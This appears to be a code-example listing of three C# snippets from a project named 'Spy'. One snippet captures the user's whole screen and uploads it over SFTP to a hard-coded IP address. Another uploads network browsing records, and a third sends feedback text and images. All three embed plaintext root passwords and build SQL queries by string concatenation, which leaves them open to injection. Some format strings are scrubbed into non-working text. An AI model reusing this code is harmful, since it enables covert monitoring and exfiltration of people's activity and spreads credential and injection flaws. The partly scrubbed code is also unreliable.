Exemple #1
0
        void Httpup()
        {
            string exepath = Environment.CurrentDirectory;
            string format  = Spy.Main.user + DateTime.Now.ToString("yyyy-M-d");
            var    upload  = new Spy.background.SFTPOperation(Severip, "22", "root", "Zhang7890078");

            if (System.IO.File.Exists(exepath + @"\net\httphistory" + nettxtnum + ".txt") == true)
            {
                nettxtnum++;
            }
            try
            {
                upload.Get("/root/netrecord/" + format + ".txt", exepath + @"\net\upload\upload1.txt");
            }
            catch
            {
            }
            try
            {
                netupload();
            }
            catch
            {
                nettxtnum--;
            }
            try
            {
                upload.Put(exepath + @"\net\upload\upload1.txt", "/root/netrecord/" + format + ".txt");
                if (flag == 0)
                {
                    String          Strconn = "Server=" + Severip + ";uid=root;pwd=123456;database=spy;CharSet=utf8";                                                              //链接数据库
                    MySqlConnection conn    = new MySqlConnection(Strconn);
                    conn.Open();                                                                                                                                                   //打开数据库
                    MySqlCommand cmd = conn.CreateCommand();
                    cmd.CommandText = "select * from test.net_record where userName="******"' + Spy.Main.user + '"' + "and Date=" + '"' + DateTime.Now.ToString("yyyy-MM-dd") + '"'; //创建查询语句
                    MySqlDataReader reader = cmd.ExecuteReader();
                    if (reader.Read())
                    {
                        conn.Close();
                        return;
                    }
                    else
                    {
                        string url = format + ".txt";
                        reader.Dispose();
                        cmd.CommandText = "insert into test.net_record values(null," + '"' + Spy.Main.user + '"' + "," + '"' + DateTime.Now.ToString("yyyy-MM-dd") + '"' + "," + '"' + url + '"' + ")";
                        cmd.ExecuteNonQuery();
                    }
                    flag = 1;
                    conn.Close();
                }
            }
            catch
            {
                nettxtnum--;
                MessageBox.Show("网络不稳定,上传失败,请联系管理员处理。");
            }
        }
Exemple #2
0
        static public void PrintS()
        {
            Bitmap   image       = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            Graphics imgGraphics = Graphics.FromImage(image);

            imgGraphics.CopyFromScreen(0, 0, 0, 0, new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)); //设置截屏区域
            string exepath = Environment.CurrentDirectory;

            if (System.IO.File.Exists(exepath + @"\Text1.txt") == true)
            {
                StreamReader sr   = File.OpenText(exepath + @"\Text1.txt");
                string       path = sr.ReadLine();
                if (Directory.Exists(path) == false)//如果不存在就创建file文件夹
                {
                    Directory.CreateDirectory(path);
                }
                string format = Main.user + DateTime.Now.ToString("*****@*****.**");
                image.Save(path + format + ".jpg", System.Drawing.Imaging.ImageFormat.Jpeg);; //保存
                var upload = new Spy.background.SFTPOperation("120.27.47.166", "22", "root", "Zhang7890078");
                upload.Put(path + format + ".jpg", "/root/img/" + format + ".jpg");
                sr.Close();
            }
            else
            {
                MessageBox.Show("保存路径不存在自动保存在" + exepath + @"\PrintScreen");
                File.WriteAllText(exepath + @"\Text1.txt", exepath + @"\PrintScreen\");
                if (Directory.Exists(exepath + @"\PrintScreen\") == false)//如果不存在就创建file文件夹
                {
                    Directory.CreateDirectory(exepath + @"\PrintScreen\");
                }

                string format = Main.user + DateTime.Now.ToString("*****@*****.**");
                image.Save(exepath + @"\PrintScreen\" + format + ".jpg", System.Drawing.Imaging.ImageFormat.Jpeg);; //保存
                var upload = new Spy.background.SFTPOperation("120.27.47.166", "22", "root", "Zhang7890078");
                upload.Put(exepath + @"\PrintScreen\" + format + ".jpg", "/root/img/" + format + ".jpg");
            }
        }
Exemple #3
0
        private void buttonsubmit_Click(object sender, EventArgs e)
        {
            Warn warn = new Warn();

            warn.Warnmessage = "上传中 请稍等";
            warn.Show();
            System.Threading.Thread.Sleep(200);
            try
            {
                if (textBox1.Text.Trim() != String.Empty)
                {
                    String          Strconn = "Server=" + Spy.Main.Severip + ";uid=root;pwd=123456;database=spy;CharSet=utf8"; //链接数据库
                    MySqlConnection conn    = new MySqlConnection(Strconn);
                    conn.Open();                                                                                               //打开数据库
                    MySqlCommand cmd = conn.CreateCommand();
                    cmd.CommandText = "select * from test.feedback order by fid desc limit 1";
                    MySqlDataReader reader = cmd.ExecuteReader();//从数据库中读取数据流存入reader中
                    if (reader.Read())
                    {
                        fid = reader.GetInt32(reader.GetOrdinal("fid")) + 1;
                        reader.Close();
                        //MessageBox.Show(fid.ToString());
                    }
                    else
                    {
                        fid = 1;
                        // MessageBox.Show(fid.ToString());
                    }
                    conn.Close();//获取fid
                    string format;
                    format = Spy.Main.user + DateTime.Now.ToString("yyyy-M-d") + "@" + fid;
                    //MessageBox.Show(format);
                    string exepath = Environment.CurrentDirectory;
                    string str;
                    string upload_p1 = null, upload_p2 = null, upload_p3 = null, upload_p4 = null, upload_txt = null;
                    str = textBox1.Text;
                    if (Directory.Exists(exepath + @"\feedbacktxt\") == false)//如果不存在就创建feedbacktxt文件夹
                    {
                        Directory.CreateDirectory(exepath + @"\feedbacktxt\");
                    }
                    StreamWriter feedbacktxt = new StreamWriter(exepath + @"\feedbacktxt\" + format + ".txt", false); //存在改写 不存在创建
                    feedbacktxt.WriteLine(str);                                                                       //写入
                    feedbacktxt.Close();
                    var upload = new Spy.background.SFTPOperation(Spy.Main.Severip, "22", "root", "Zhang7890078");
                    upload.Put(exepath + @"\feedbacktxt\" + format + ".txt", "/root/txt/" + format + ".txt");
                    upload_txt = format + ".txt";//txt上传

                    if (pic1 != null)
                    {
                        upload.Put(pic1, "/root/feedbackimg/" + format + "@p1.jpg");
                        upload_p1 = format + "@p1.jpg;";
                    }
                    if (pic2 != null)
                    {
                        upload.Put(pic2, "/root/feedbackimg/" + format + "@p2.jpg");
                        upload_p2 = format + "@p2.jpg;";
                    }
                    if (pic3 != null)
                    {
                        upload.Put(pic3, "/root/feedbackimg/" + format + "@p3.jpg");
                        upload_p3 = format + "@p3.jpg;";
                    }
                    if (pic4 != null)
                    {
                        upload.Put(pic4, "/root/feedbackimg/" + format + "@p4.jpg");
                        upload_p4 = format + "@p4.jpg;";
                    }//4张图片上传

                    conn.Open();
                    cmd.CommandText = "insert into test.feedback values(null," + '"' + upload_p1 + upload_p2 + upload_p3 + upload_p4 + '"' + "," + '"' + upload_txt + '"' + "," + Spy.Main.computernum + "," + '"' + Spy.Main.user + '"' + "," + '"' + "未阅读" + '"' + ")";
                    cmd.ExecuteNonQuery();
                    conn.Close();
                    warn.Close();
                    MessageBox.Show("上传成功 可关闭页面");
                }
                else
                {
                    warn.Close();
                    MessageBox.Show("请填写文字内容后,再次上传。");
                }
                //var upload = new Spy.background.SFTPOperation("120.27.47.166", "22", "root", "Zhang7890078");
                //upload.Put(pic1,"/root/img/1.jpg");


                //上传格式 获取fid
                //txt格式 user2016-4-1.fid  图片格式 user2016-4-1.fid.p1
                //定时截图格式 [email protected]
            }
            catch
            {
                warn.Close();
                MessageBox.Show("网络出现问题,提交失败!!请联系管理员。");
            }
        }